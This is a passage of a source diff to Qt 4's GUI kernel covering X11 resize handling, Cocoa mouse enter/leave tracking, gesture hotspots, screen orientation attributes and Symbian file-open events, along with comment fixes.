+                                  QApplication::desktop()->screen(d->xinfo.screen())->internalWinId(),
+                                  0, 0, &x, &y, &child);
+            newCPos.rx() = x;
+            newCPos.ry() = y;
+        }
+
         QRect cr (geometry());
         if (newCPos != cr.topLeft()) { // compare with cpos (exluding frame)
             QPoint oldPos = geometry().topLeft();
@@ -5314,18 +5329,6 @@ bool QETWidget::translateConfigEvent(const XEvent *event)
     }
 
     if (wasResize) {
-        static bool slowResize = qgetenv("QT_SLOW_TOPLEVEL_RESIZE").toInt();
-        if (d->extra->compress_events && !slowResize && !data->in_show && isVisible()) {
-            QApplication::syncX();
-            XEvent otherEvent;
-            while (XCheckTypedWindowEvent(X11->display, internalWinId(), ConfigureNotify, &otherEvent)
-                   && !qt_x11EventFilter(&otherEvent) && !x11Event(&otherEvent)
-                   && otherEvent.xconfigure.event == otherEvent.xconfigure.window) {
-                data->crect.setWidth(otherEvent.xconfigure.width);
-                data->crect.setHeight(otherEvent.xconfigure.height);
-            }
-        }
-
         if (isVisible() && data->crect.size() != oldSize) {
             Q_ASSERT(d->extra->topextra);
             QWidgetBackingStore *bs = d->extra->topextra->backingStore.data();
@@ -5334,7 +5337,7 @@ bool QETWidget::translateConfigEvent(const XEvent *event)
             // resize optimization in order to get invalidated regions for resized widgets.
             // The optimization discards all invalidateBuffer() calls since we're going to
             // repaint everything anyways, but that's not the case with static contents.
-            if (!slowResize && !hasStaticContents)
+            if (!hasStaticContents)
                 d->extra->topextra->inTopLevelResize = true;
             QResizeEvent e(data->crect.size(), oldSize);
             QApplication::sendSpontaneousEvent(this, &e);
@@ -5658,10 +5661,21 @@ static void sm_performSaveYourself(QSessionManagerPrivate* smd)
     sm_setProperty(QString::fromLatin1(SmProgram), argument0);
     // tell the session manager about our user as well.
     struct passwd *entryPtr = 0;
-#if !defined(QT_NO_THREAD) && defined(_POSIX_THREAD_SAFE_FUNCTIONS) && !defined(Q_OS_OPENBSD)
-    QVarLengthArray<char, 1024> buf(sysconf(_SC_GETPW_R_SIZE_MAX));
+#if defined(_POSIX_THREAD_SAFE_FUNCTIONS) && (_POSIX_THREAD_SAFE_FUNCTIONS - 0 > 0)
+    QVarLengthArray<char, 1024> buf(qMax<long>(sysconf(_SC_GETPW_R_SIZE_MAX), 1024L));
     struct passwd entry;
-    getpwuid_r(geteuid(), &entry, buf.data(), buf.size(), &entryPtr);
+    while (getpwuid_r(geteuid(), &entry, buf.data(), buf.size(), &entryPtr) == ERANGE) {
+        if (buf.size() >= 32768) {
+            // too big already, fail
+            static char badusername[] = "";
+            entryPtr = &entry;
+            entry.pw_name = badusername;
+            break;
+        }
+
+        // retry with a bigger buffer
+        buf.resize(buf.size() * 2);
+    }
 #else
     entryPtr = getpwuid(geteuid());
 #endif
diff --git a/src/gui/kernel/qcocoaapplicationdelegate_mac.mm b/src/gui/kernel/qcocoaapplicationdelegate_mac.mm
index 6d7bc19..77cd890 100644
--- a/src/gui/kernel/qcocoaapplicationdelegate_mac.mm
+++ b/src/gui/kernel/qcocoaapplicationdelegate_mac.mm
@@ -91,6 +91,7 @@ QT_BEGIN_NAMESPACE
 extern void onApplicationChangedActivation(bool); // qapplication_mac.mm
 extern void qt_release_apple_event_handler(); //qapplication_mac.mm
 extern QPointer<QWidget> qt_last_mouse_receiver; // qapplication_mac.cpp
+extern QPointer<QWidget> qt_last_native_mouse_receiver; // qt_cocoa_helpers_mac.mm
 extern QPointer<QWidget> qt_button_down; // qapplication_mac.cpp
 
 QT_END_NAMESPACE
@@ -268,6 +269,8 @@ static void cleanupCocoaApplicationDelegate()
         qt_mac_getTargetForMouseEvent(0, QEvent::Enter, qlocal, qglobal, 0, &widgetUnderMouse);
         QApplicationPrivate::dispatchEnterLeave(widgetUnderMouse, 0);
         qt_last_mouse_receiver = widgetUnderMouse;
+        qt_last_native_mouse_receiver = widgetUnderMouse ?
+            (widgetUnderMouse->internalWinId() ? widgetUnderMouse : widgetUnderMouse->nativeParentWidget()) : 0;
     }
 }
 
@@ -282,6 +285,7 @@ static void cleanupCocoaApplicationDelegate()
     if (!QWidget::mouseGrabber())
         QApplicationPrivate::dispatchEnterLeave(0, qt_last_mouse_receiver);
     qt_last_mouse_receiver = 0;
+    qt_last_native_mouse_receiver = 0;
     qt_button_down = 0;
 }
 
diff --git a/src/gui/kernel/qcocoasharedwindowmethods_mac_p.h b/src/gui/kernel/qcocoasharedwindowmethods_mac_p.h
index 1c9258a..c4b74c6 100644
--- a/src/gui/kernel/qcocoasharedwindowmethods_mac_p.h
+++ b/src/gui/kernel/qcocoasharedwindowmethods_mac_p.h
@@ -88,6 +88,8 @@ QT_END_NAMESPACE
     QWidget *widget = [self QT_MANGLE_NAMESPACE(qt_qwidget)];
     if (!widget)
         return NO; // This should happen only for qt_root_win
+    if (QApplicationPrivate::isBlockedByModal(widget))
+        return NO;
 
     bool isToolTip = (widget->windowType() == Qt::ToolTip);
     bool isPopup = (widget->windowType() == Qt::Popup);
@@ -99,6 +101,8 @@ QT_END_NAMESPACE
     QWidget *widget = [self QT_MANGLE_NAMESPACE(qt_qwidget)];
     if (!widget)
         return NO; // This should happen only for qt_root_win
+    if ([self isSheet])
+        return NO;
 
     bool isToolTip = (widget->windowType() == Qt::ToolTip);
     bool isPopup = (widget->windowType() == Qt::Popup);
diff --git a/src/gui/kernel/qcocoaview_mac.mm b/src/gui/kernel/qcocoaview_mac.mm
index f0ae886..ff2dfe7 100644
--- a/src/gui/kernel/qcocoaview_mac.mm
+++ b/src/gui/kernel/qcocoaview_mac.mm
@@ -78,6 +78,7 @@ QT_BEGIN_NAMESPACE
 extern void qt_mac_update_cursor(); // qcursor_mac.mm
 extern bool qt_sendSpontaneousEvent(QObject *, QEvent *); // qapplication.cpp
 extern QPointer<QWidget> qt_last_mouse_receiver; // qapplication_mac.cpp
+extern QPointer<QWidget> qt_last_native_mouse_receiver; // qt_cocoa_helpers_mac.mm
 extern OSViewRef qt_mac_nativeview_for(const QWidget *w); // qwidget_mac.mm
 extern OSViewRef qt_mac_effectiveview_for(const QWidget *w); // qwidget_mac.mm
 extern QPointer<QWidget> qt_button_down; //qapplication_mac.cpp
@@ -461,6 +462,7 @@ static int qCocoaViewCount = 0;
         if (widgetUnderMouse == 0) {
             QApplicationPrivate::dispatchEnterLeave(0, qt_last_mouse_receiver);
             qt_last_mouse_receiver = 0;
+            qt_last_native_mouse_receiver = 0;
         }
     }
 }
@@ -795,7 +797,7 @@ static int qCocoaViewCount = 0;
 - (BOOL)resignFirstResponder
 {
     if (!qwidget)
-        return NO;
+        return YES;
 
     // Seems like the following test only triggers if this
     // view is inside a QMacNativeWidget:
diff --git a/src/gui/kernel/qevent.cpp b/src/gui/kernel/qevent.cpp
index e7abb47..698c94b 100644
--- a/src/gui/kernel/qevent.cpp
+++ b/src/gui/kernel/qevent.cpp
@@ -53,6 +53,10 @@
 #include "qgesture.h"
 #include "qgesture_p.h"
 
+#ifdef Q_OS_SYMBIAN
+#include "private/qcore_symbian_p.h"
+#endif
+
 QT_BEGIN_NAMESPACE
 
 /*!
@@ -724,12 +728,12 @@ QWheelEvent::QWheelEvent(const QPoint &pos, const QPoint& globalPos, int delta,
     The \a type parameter must be QEvent::KeyPress, QEvent::KeyRelease,
     or QEvent::ShortcutOverride.
 
-    Int \a key is the code for the Qt::Key that the event loop should listen 
-    for. If \a key is 0, the event is not a result of a known key; for 
+    Int \a key is the code for the Qt::Key that the event loop should listen
+    for. If \a key is 0, the event is not a result of a known key; for
     example, it may be the result of a compose sequence or keyboard macro.
-    The \a modifiers holds the keyboard modifiers, and the given \a text 
-    is the Unicode text that the key generated. If \a autorep is true, 
-    isAutoRepeat() will be true. \a count is the number of keys involved 
+    The \a modifiers holds the keyboard modifiers, and the given \a text
+    is the Unicode text that the key generated. If \a autorep is true,
+    isAutoRepeat() will be true. \a count is the number of keys involved
     in the event.
 */
 QKeyEvent::QKeyEvent(Type type, int key, Qt::KeyboardModifiers modifiers, const QString& text,
@@ -1658,7 +1662,7 @@ Qt::ButtonState QContextMenuEvent::state() const
     string is controlled by the widget only). The AttributeType enum
     describes the different attributes that can be set.
 
-    A class implementing QWidget::inputMethodEvent() or 
+    A class implementing QWidget::inputMethodEvent() or
     QGraphicsItem::inputMethodEvent() should at least understand and
     honor the \l TextFormat and \l Cursor attributes.
 
@@ -3023,9 +3027,16 @@ QShowEvent::~QShowEvent()
     This event is only used to notify the application of a request.
     It may be safely ignored.
 
-    \note This class is currently supported for Mac OS X only.
+    \note This class is currently supported for Mac OS X and Symbian only.
 */
 
+QFileOpenEventPrivate::~QFileOpenEventPrivate()
+{
+#ifdef Q_OS_SYMBIAN
+    file.Close();
+#endif
+}
+
 /*!
     \internal
 
@@ -3049,6 +3060,22 @@ QFileOpenEvent::QFileOpenEvent(const QUrl &url)
     f = url.toLocalFile();
 }
 
+#ifdef Q_OS_SYMBIAN
+/*! \internal
+*/
+QFileOpenEvent::QFileOpenEvent(const RFile &fileHandle)
+    : QEvent(FileOpen)
+{
+    TFileName fullName;
+    fileHandle.FullName(fullName);
+    f = qt_TDesC2QString(fullName);
+    QScopedPointer<QFileOpenEventPrivate> priv(new QFileOpenEventPrivate(QUrl::fromLocalFile(f)));
+    // Duplicate here allows the file handle to be valid after S60 app construction is complete.
+    qt_symbian_throwIfError(priv->file.Duplicate(fileHandle));
+    d = reinterpret_cast<QEventPrivate *>(priv.take());
+}
+#endif
+
 /*! \internal
 */
 QFileOpenEvent::~QFileOpenEvent()
@@ -3074,6 +3101,39 @@ QUrl QFileOpenEvent::url() const
     return reinterpret_cast<const QFileOpenEventPrivate *>(d)->url;
 }
 
+/*!
+    \fn bool openFile(QFile &file, QIODevice::OpenMode flags) const
+
+    Opens a QFile on the file referenced by this event.
+    Returns true if successful; otherwise returns false.
+
+    This is necessary as some files cannot be opened by name, but require specific
+    information stored in this event.
+    For example, if this QFileOpenEvent contains a request to open a Symbian data caged file,
+    the QFile could only be opened from the Symbian RFile used in the construction of this event.
+
+    \since 4.8
+*/
+bool QFileOpenEvent::openFile(QFile &file, QIODevice::OpenMode flags) const
+{
+    file.setFileName(f);
+#ifdef Q_OS_SYMBIAN
+    const QFileOpenEventPrivate *priv = reinterpret_cast<const QFileOpenEventPrivate *>(d);
+    if (priv->file.SubSessionHandle()) {
+        RFile dup;
+        // Duplicate here means that the opened QFile will continue to be valid beyond the lifetime of this QFileOpenEvent.
+        // It also allows openFile to be used in threads other than the thread in which the QFileOpenEvent was created.
+        if (dup.Duplicate(priv->file) == KErrNone) {
+            QScopedPointer<RFile, QScopedPointerRCloser<RFile> > dupCloser(&dup);
+            bool open = file.open(dup, flags, QFile::AutoCloseHandle);
+            dupCloser.take();
+            return open;
+        }
+    }
+#endif
+    return file.open(flags);
+}
+
 #ifndef QT_NO_TOOLBAR
 /*!
     \internal
@@ -3622,7 +3682,7 @@ QMenubarUpdatedEvent::QMenubarUpdatedEvent(QMenuBar * const menuBar)
 
 #endif
 
-/*! 
+/*!
     \class QTouchEvent
     \brief The QTouchEvent class contains parameters that describe a touch event.
     \since 4.6
diff --git a/src/gui/kernel/qevent.h b/src/gui/kernel/qevent.h
index a7b06f4..93c2bc5 100644
--- a/src/gui/kernel/qevent.h
+++ b/src/gui/kernel/qevent.h
@@ -54,6 +54,11 @@
 #include <QtCore/qvariant.h>
 #include <QtCore/qmap.h>
 #include <QtCore/qset.h>
+#include <QtCore/qfile.h>
+
+#ifdef Q_OS_SYMBIAN
+class RFile;
+#endif
 
 QT_BEGIN_HEADER
 
@@ -641,10 +646,14 @@ class Q_GUI_EXPORT QFileOpenEvent : public QEvent
 public:
     QFileOpenEvent(const QString &file);
     QFileOpenEvent(const QUrl &url);
+#ifdef Q_OS_SYMBIAN
+    QFileOpenEvent(const RFile &fileHandle);
+#endif
     ~QFileOpenEvent();
 
     inline QString file() const { return f; }
     QUrl url() const;
+    bool openFile(QFile &file, QIODevice::OpenMode flags) const;
 private:
     QString f;
 };
diff --git a/src/gui/kernel/qevent_p.h b/src/gui/kernel/qevent_p.h
index 3a27023..b79f372 100644
--- a/src/gui/kernel/qevent_p.h
+++ b/src/gui/kernel/qevent_p.h
@@ -46,6 +46,10 @@
 #include <QtCore/qurl.h>
 #include <QtGui/qevent.h>
 
+#ifdef Q_OS_SYMBIAN
+#include <f32file.h>
+#endif
+
 QT_BEGIN_NAMESPACE
 
 //
@@ -174,8 +178,12 @@ public:
         : url(url)
     {
     }
+    ~QFileOpenEventPrivate();
 
     QUrl url;
+#ifdef Q_OS_SYMBIAN
+    RFile file;
+#endif
 };
 
 
diff --git a/src/gui/kernel/qgesture.cpp b/src/gui/kernel/qgesture.cpp
index 17ede02..56daba2 100644
--- a/src/gui/kernel/qgesture.cpp
+++ b/src/gui/kernel/qgesture.cpp
@@ -332,7 +332,7 @@ void QPanGesture::setAcceleration(qreal value)
 /*!
     \class QPinchGesture
     \since 4.6
-    \brief The QPinchGesture class describes a pinch gesture made my the user.
+    \brief The QPinchGesture class describes a pinch gesture made by the user.
     \ingroup touch
     \ingroup gestures
 
diff --git a/src/gui/kernel/qlayout.cpp b/src/gui/kernel/qlayout.cpp
index 1eeaf8e..e014ec8 100644
--- a/src/gui/kernel/qlayout.cpp
+++ b/src/gui/kernel/qlayout.cpp
@@ -980,10 +980,10 @@ void QLayoutPrivate::reparentChildWidgets(QWidget *mw)
 
 /*!
     This function is called from \c addWidget() functions in
-    subclasses to add \a w as a child widget.
+    subclasses to add \a w as a managed widget of a layout.
 
-    If \a w is already in a layout, this function will give a warning
-    and remove \a w from the layout. This function must therefore be
+    If \a w is already managed by a layout, this function will give a warning
+    and remove \a w from that layout. This function must therefore be
     called before adding \a w to the layout's data structure.
 */
 void QLayout::addChildWidget(QWidget *w)
diff --git a/src/gui/kernel/qmacgesturerecognizer_mac.mm b/src/gui/kernel/qmacgesturerecognizer_mac.mm
index 0e432f3..6a4f0bb 100644
--- a/src/gui/kernel/qmacgesturerecognizer_mac.mm
+++ b/src/gui/kernel/qmacgesturerecognizer_mac.mm
@@ -69,6 +69,7 @@ QMacSwipeGestureRecognizer::recognize(QGesture *gesture, QObject *obj, QEvent *e
             case QNativeGestureEvent::Swipe: {
                 QSwipeGesture *g = static_cast<QSwipeGesture *>(gesture);
                 g->setSwipeAngle(ev->angle);
+                g->setHotSpot(ev->position);
                 return QGestureRecognizer::FinishGesture | QGestureRecognizer::ConsumeEventHint;
                 break; }
             default:
@@ -110,6 +111,7 @@ QMacPinchGestureRecognizer::recognize(QGesture *gesture, QObject *obj, QEvent *e
             g->setCenterPoint(g->startCenterPoint());
             g->setChangeFlags(QPinchGesture::CenterPointChanged);
             g->setTotalChangeFlags(g->totalChangeFlags() | g->changeFlags());
+            g->setHotSpot(ev->position);
             return QGestureRecognizer::MayBeGesture | QGestureRecognizer::ConsumeEventHint;
         case QNativeGestureEvent::Rotate: {
             g->setLastScaleFactor(g->scaleFactor());
@@ -117,6 +119,7 @@ QMacPinchGestureRecognizer::recognize(QGesture *gesture, QObject *obj, QEvent *e
             g->setRotationAngle(g->rotationAngle() + ev->percentage);
             g->setChangeFlags(QPinchGesture::RotationAngleChanged);
             g->setTotalChangeFlags(g->totalChangeFlags() | g->changeFlags());
+            g->setHotSpot(ev->position);
             return QGestureRecognizer::TriggerGesture | QGestureRecognizer::ConsumeEventHint;
         }
         case QNativeGestureEvent::Zoom:
@@ -125,6 +128,7 @@ QMacPinchGestureRecognizer::recognize(QGesture *gesture, QObject *obj, QEvent *e
             g->setScaleFactor(g->scaleFactor() * (1 + ev->percentage));
             g->setChangeFlags(QPinchGesture::ScaleFactorChanged);
             g->setTotalChangeFlags(g->totalChangeFlags() | g->changeFlags());
+            g->setHotSpot(ev->position);
             return QGestureRecognizer::TriggerGesture | QGestureRecognizer::ConsumeEventHint;
         case QNativeGestureEvent::GestureEnd:
             return QGestureRecognizer::FinishGesture | QGestureRecognizer::ConsumeEventHint;
@@ -221,6 +225,7 @@ QMacPanGestureRecognizer::recognize(QGesture *gesture, QObject *target, QEvent *
                 const QPointF posOffset = p - _startPos;
                 g->setLastOffset(g->offset());
                 g->setOffset(QPointF(posOffset.x(), posOffset.y()));
+                g->setHotSpot(_startPos);
                 return QGestureRecognizer::TriggerGesture;
             }
         } else if (_panTimer.isActive()) {
@@ -239,6 +244,7 @@ QMacPanGestureRecognizer::recognize(QGesture *gesture, QObject *target, QEvent *
                 break;
             // Begin new pan session!
             _startPos = QCursor::pos();
+            g->setHotSpot(_startPos);
             return QGestureRecognizer::TriggerGesture | QGestureRecognizer::ConsumeEventHint;
         }
         break; }
diff --git a/src/gui/kernel/qt_cocoa_helpers_mac.mm b/src/gui/kernel/qt_cocoa_helpers_mac.mm
index ddbf53f..98f62ca 100644
--- a/src/gui/kernel/qt_cocoa_helpers_mac.mm
+++ b/src/gui/kernel/qt_cocoa_helpers_mac.mm
@@ -1060,30 +1060,26 @@ QWidget *qt_mac_getTargetForMouseEvent(
     returnGlobalPoint = flipPoint([NSEvent mouseLocation]).toPoint();
     QWidget *mouseGrabber = QWidget::mouseGrabber();
     bool buttonDownNotBlockedByModal = qt_button_down && !QApplicationPrivate::isBlockedByModal(qt_button_down);
+    QWidget *popup = QApplication::activePopupWidget();
 
     // Resolve the widget under the mouse:
     QWidget *widgetUnderMouse = 0;
-    if (nativeWidget) {
+    if (popup || qt_button_down || !nativeWidget || !nativeWidget->isVisible()) {
+        // Using QApplication::widgetAt for finding the widget under the mouse
+        // is most safe, since it ignores cocoas own mouse down redirections (which
+        // we need to be prepared for when using nativeWidget as starting point).
+        // (the only exception is for QMacNativeWidget, where QApplication::widgetAt fails).
+        // But it is also slower (I guess), so we try to avoid it and use nativeWidget if we can:
+        widgetUnderMouse = QApplication::widgetAt(returnGlobalPoint);
+    }
+
+    if (!widgetUnderMouse && nativeWidget) {
+        // Entering here should be the common case. We
+        // also handle the QMacNativeWidget fallback case.
         QPoint p = nativeWidget->mapFromGlobal(returnGlobalPoint);
         widgetUnderMouse = nativeWidget->childAt(p);
-        if (!widgetUnderMouse){
-            // Cocoa will redirct mouse event to the current
-            // mouse down widget, which is not what we want for our
-            // widgetUnderMouse assignment. So we need to check
-            // if we are actually inside nativeView:
-            if (nativeWidget->rect().contains(p)) {
-                widgetUnderMouse = nativeWidget;
-            } else {
-                // Ok, fallback to find the widget under mouse ourselves.
-                widgetUnderMouse = QApplication::widgetAt(returnGlobalPoint);
-            }
-        }
-    } else {
-        // Calling QApplication::widgetAt is potentially slow, hence the
-        // reason we avoid it if we can. So supplying a nativeWidget to
-        // this function is mostly an optimization. But at the same time,
-        // calling QApplication::widgetAt fails for QMacNativeWidget...
-        widgetUnderMouse = QApplication::widgetAt(returnGlobalPoint);
+        if (!widgetUnderMouse && nativeWidget->rect().contains(p))
+            widgetUnderMouse = nativeWidget;
     }
 
     if (widgetUnderMouse) {
@@ -1107,23 +1103,27 @@ QWidget *qt_mac_getTargetForMouseEvent(
     if (returnWidgetUnderMouse)
         *returnWidgetUnderMouse = widgetUnderMouse;
 
-    // Resolve the target for the mouse event. Default will be widgetUnderMouse, except
-    // if there is a popup-"grab", mousegrab, or button-down-"grab":
-    QWidget *popup = QApplication::activePopupWidget();
+    // Resolve the target for the mouse event. Default will be
+    // widgetUnderMouse, except if there is a grab (popup/mouse/button-down):
     if (popup && !mouseGrabber) {
-        if (!popup->isAncestorOf(widgetUnderMouse)) {
-            // The popup will always grab the mouse unless the
-            // mouse is over a child, or the user scrolls:
+        // We special case handling of popups, since they have an implicitt mouse grab.
+        QWidget *candidate = buttonDownNotBlockedByModal ? qt_button_down : widgetUnderMouse;
+        if (!popup->isAncestorOf(candidate)) {
+            // INVARIANT: we have a popup, but the candidate is not
+            // in it. But the popup will grab the mouse anyway,
+            // except if the user scrolls:
             if (eventType == QEvent::Wheel)
                 return 0;
             returnLocalPoint = popup->mapFromGlobal(returnGlobalPoint);
             return popup;
-        } else if (popup == widgetUnderMouse) {
+        } else if (popup == candidate) {
+            // INVARIANT: The candidate is the popup itself, and not a child:
             returnLocalPoint = popup->mapFromGlobal(returnGlobalPoint);
             return popup;
         } else {
-            returnLocalPoint = widgetUnderMouse->mapFromGlobal(returnGlobalPoint);
-            return widgetUnderMouse;
+            // INVARIANT: The candidate is a child inside the popup:
+            returnLocalPoint = candidate->mapFromGlobal(returnGlobalPoint);
+            return candidate;
         }
     }
 
@@ -1139,6 +1139,8 @@ QWidget *qt_mac_getTargetForMouseEvent(
     return target;
 }
 
+QPointer<QWidget> qt_last_native_mouse_receiver = 0;
+
 static inline void qt_mac_checkEnterLeaveForNativeWidgets(QWidget *maybeEnterWidget)
 {
     // Dispatch enter/leave for the cases where QApplicationPrivate::sendMouseEvent do
@@ -1149,29 +1151,25 @@ static inline void qt_mac_checkEnterLeaveForNativeWidgets(QWidget *maybeEnterWid
 
     if (qt_button_down || QWidget::mouseGrabber())
         return;
-    if ((maybeEnterWidget == qt_last_mouse_receiver) && qt_last_mouse_receiver)
-        return;
 
+    if ((maybeEnterWidget == qt_last_native_mouse_receiver) && qt_last_native_mouse_receiver)
+        return;
     if (maybeEnterWidget) {
-        if (!qt_last_mouse_receiver) {
+        if (!qt_last_native_mouse_receiver) {
             // case 3
             QApplicationPrivate::dispatchEnterLeave(maybeEnterWidget, 0);
-            qt_last_mouse_receiver = maybeEnterWidget;
-        } else if (qt_last_mouse_receiver->internalWinId() && maybeEnterWidget->internalWinId()) {
+            qt_last_native_mouse_receiver = maybeEnterWidget->internalWinId() ? maybeEnterWidget : maybeEnterWidget->nativeParentWidget();
+        } else if (maybeEnterWidget->internalWinId()) {
             // case 1
-            if (qt_last_mouse_receiver->isVisible()) {
-                QApplicationPrivate::dispatchEnterLeave(maybeEnterWidget, qt_last_mouse_receiver);
-                qt_last_mouse_receiver = maybeEnterWidget;
-            }
+            QApplicationPrivate::dispatchEnterLeave(maybeEnterWidget, qt_last_native_mouse_receiver);
+            qt_last_native_mouse_receiver = maybeEnterWidget->internalWinId() ? maybeEnterWidget : maybeEnterWidget->nativeParentWidget();
         } // else at lest one of the widgets are alien, so enter/leave will be handled in QApplicationPrivate
     } else {
-        if (qt_last_mouse_receiver && qt_last_mouse_receiver->internalWinId()) {
+        if (qt_last_native_mouse_receiver) {
             // case 2
-            QApplicationPrivate::dispatchEnterLeave(0, qt_last_mouse_receiver);
-            // This seems to be the only case where we need to update qt_last_mouse_receiver
-            // from the mac specific code. Otherwise, QApplicationPrivate::sendMouseEvent
-            // will handle it:
+            QApplicationPrivate::dispatchEnterLeave(0, qt_last_native_mouse_receiver);
             qt_last_mouse_receiver = 0;
+            qt_last_native_mouse_receiver = 0;
         }
     }
 }
@@ -1192,16 +1190,14 @@ bool qt_mac_handleMouseEvent(NSEvent *event, QEvent::Type eventType, Qt::MouseBu
     if (!widgetToGetMouse)
         return false;
 
-    if (!nativeWidget) {
-        // Path typically taken for mouse moves (send
-        // directly from [QCocoaWindow sendEvent]
-        if (!widgetUnderMouse)
-            return false;
-        nativeWidget = widgetUnderMouse->internalWinId() ?
-            widgetUnderMouse : widgetUnderMouse->nativeParentWidget();
-        if (!nativeWidget)
-            return false;
-    }
+    // From here on, we let nativeWidget actually be the native widget under widgetUnderMouse. The reason
+    // for this, is that qt_mac_getTargetForMouseEvent will set cocoa's mouse event redirection aside when
+    // determining which widget is under the mouse (in other words, it will usually ignore nativeWidget).
+    // nativeWidget will be used in QApplicationPrivate::sendMouseEvent to correctly dispatch enter/leave events.
+    if (widgetUnderMouse)
+        nativeWidget = widgetUnderMouse->internalWinId() ? widgetUnderMouse : widgetUnderMouse->nativeParentWidget();
+    if (!nativeWidget)
+        return false;
     NSView *view = qt_mac_effectiveview_for(nativeWidget);
 
     // Handle tablet events (if any) first.
@@ -1278,8 +1274,9 @@ bool qt_mac_handleMouseEvent(NSEvent *event, QEvent::Type eventType, Qt::MouseBu
     if (eventType == QEvent::MouseButtonRelease) {
         // A mouse button was released, which means that the implicit grab was
         // released. We therefore need to re-check if should send (delayed) enter leave events:
-        // qt_button_down has now become NULL since the call at the top of the function.
-        widgetToGetMouse = qt_mac_getTargetForMouseEvent(0, QEvent::None, localPoint, globalPoint, nativeWidget, &widgetUnderMouse);
+        // qt_button_down has now become NULL since the call at the top of the function. Also, since
+        // the relase might have closed a window, we dont give the nativeWidget hint
+        qt_mac_getTargetForMouseEvent(0, QEvent::None, localPoint, globalPoint, nativeWidget, &widgetUnderMouse);
         qt_mac_checkEnterLeaveForNativeWidgets(widgetUnderMouse);
     }
 
@@ -1630,6 +1627,7 @@ void qt_mac_constructQIconFromIconRef(const IconRef icon, const IconRef overlayI
 #ifdef QT_MAC_USE_COCOA
 void qt_mac_menu_collapseSeparators(void */*NSMenu **/ theMenu, bool collapse)
 {
+    QMacCocoaAutoReleasePool pool;
     OSMenuRef menu = static_cast<OSMenuRef>(theMenu);
     if (collapse) {
         bool previousIsSeparator = true; // setting to true kills all the separators placed at the top.
diff --git a/src/gui/kernel/qt_s60_p.h b/src/gui/kernel/qt_s60_p.h
index fdb35d5..40697bf 100644
--- a/src/gui/kernel/qt_s60_p.h
+++ b/src/gui/kernel/qt_s60_p.h
@@ -141,6 +141,7 @@ public:
     int supportsPremultipliedAlpha : 1;
     int avkonComponentsSupportTransparency : 1;
     int menuBeingConstructed : 1;
+    int orientationSet : 1;
     QApplication::QS60MainApplicationFactory s60ApplicationFactory; // typedef'ed pointer type
     static CEikButtonGroupContainer *cba;
 
@@ -295,6 +296,7 @@ inline QS60Data::QS60Data()
   supportsPremultipliedAlpha(0),
   avkonComponentsSupportTransparency(0),
   menuBeingConstructed(0),
+  orientationSet(0),
   s60ApplicationFactory(0)
 #ifdef Q_OS_SYMBIAN
   ,s60InstalledTrapHandler(0)
diff --git a/src/gui/kernel/qwidget.cpp b/src/gui/kernel/qwidget.cpp
index 547da11..bf9f6f9 100644
--- a/src/gui/kernel/qwidget.cpp
+++ b/src/gui/kernel/qwidget.cpp
@@ -127,6 +127,10 @@
 #include "qtabwidget.h" // Needed in inTabWidget()
 #endif // QT_KEYPAD_NAVIGATION
 
+#ifdef Q_WS_S60
+#include <aknappui.h>
+#endif
+
 // widget/widget data creation count
 //#define QWIDGET_EXTRA_DEBUG
 //#define ALIEN_DEBUG
@@ -399,11 +403,24 @@ void QWidgetPrivate::scrollChildren(int dx, int dy)
     }
 }
 
+QInputContext *QWidgetPrivate::assignedInputContext() const
+{
+#ifndef QT_NO_IM
+    const QWidget *widget = q_func();
+    while (widget) {
+        if (QInputContext *qic = widget->d_func()->ic)
+            return qic;
+        widget = widget->parentWidget();
+    }
+#endif
+    return 0;
+}
+
 QInputContext *QWidgetPrivate::inputContext() const
 {
 #ifndef QT_NO_IM
-    if (ic)
-        return ic;
+    if (QInputContext *qic = assignedInputContext())
+        return qic;
     return qApp->inputContext();
 #else
     return 0;
@@ -10778,7 +10795,7 @@ void QWidget::setAttribute(Qt::WidgetAttribute attribute, bool on)
     case Qt::WA_InputMethodEnabled: {
 #ifndef QT_NO_IM
         QWidget *focusWidget = d->effectiveFocusWidget();
-        QInputContext *ic = focusWidget->d_func()->ic;
+        QInputContext *ic = focusWidget->d_func()->assignedInputContext();
         if (!ic && (!on || hasFocus()))
             ic = focusWidget->d_func()->inputContext();
         if (ic) {
@@ -10871,6 +10888,42 @@ void QWidget::setAttribute(Qt::WidgetAttribute attribute, bool on)
             d->registerTouchWindow();
 #endif
         break;
+    case Qt::WA_LockPortraitOrientation:
+    case Qt::WA_LockLandscapeOrientation:
+    case Qt::WA_AutoOrientation: {
+        const Qt::WidgetAttribute orientations[3] = {
+            Qt::WA_LockPortraitOrientation,
+            Qt::WA_LockLandscapeOrientation,
+            Qt::WA_AutoOrientation
+        };
+
+        if (on) {
+            // We can only have one of these set at a time
+            for (int i = 0; i < 3; ++i) {
+                if (orientations[i] != attribute)
+                    setAttribute_internal(orientations[i], false, data, d);
+            }
+        }
+
+#ifdef Q_WS_S60
+        CAknAppUiBase* appUi = static_cast<CAknAppUiBase*>(CEikonEnv::Static()->EikAppUi());
+        const CAknAppUiBase::TAppUiOrientation s60orientations[] = {
+            CAknAppUiBase::EAppUiOrientationPortrait,
+            CAknAppUiBase::EAppUiOrientationLandscape,
+            CAknAppUiBase::EAppUiOrientationAutomatic
+        };
+        CAknAppUiBase::TAppUiOrientation s60orientation = CAknAppUiBase::EAppUiOrientationUnspecified;
+        for (int i = 0; i < 3; ++i) {
+            if (testAttribute(orientations[i])) {
+                s60orientation = s60orientations[i];
+                break;
+            }
+        }
+        QT_TRAP_THROWING(appUi->SetOrientationL(s60orientation));
+        S60->orientationSet = true;
+#endif
+        break;
+    }
     default:
         break;
     }
@@ -11229,7 +11282,7 @@ void QWidget::updateMicroFocus()
 #if !defined(QT_NO_IM) && (defined(Q_WS_X11) || defined(Q_WS_QWS) || defined(Q_OS_SYMBIAN))
     Q_D(QWidget);
     // and optimization to update input context only it has already been created.
-    if (d->ic || qApp->d_func()->inputContext) {
+    if (d->assignedInputContext() || qApp->d_func()->inputContext) {
         QInputContext *ic = inputContext();
         if (ic)
             ic->update();
diff --git a/src/gui/kernel/qwidget_mac.mm b/src/gui/kernel/qwidget_mac.mm
index 3ba12cd..14a90ef 100644
--- a/src/gui/kernel/qwidget_mac.mm
+++ b/src/gui/kernel/qwidget_mac.mm
@@ -186,6 +186,7 @@ extern void qt_mac_event_release(QWidget *w); //qapplication_mac.mm
 extern void qt_event_request_showsheet(QWidget *); //qapplication_mac.mm
 extern void qt_event_request_window_change(QWidget *); //qapplication_mac.mm
 extern QPointer<QWidget> qt_last_mouse_receiver; //qapplication_mac.mm
+extern QPointer<QWidget> qt_last_native_mouse_receiver; //qt_cocoa_helpers_mac.mm
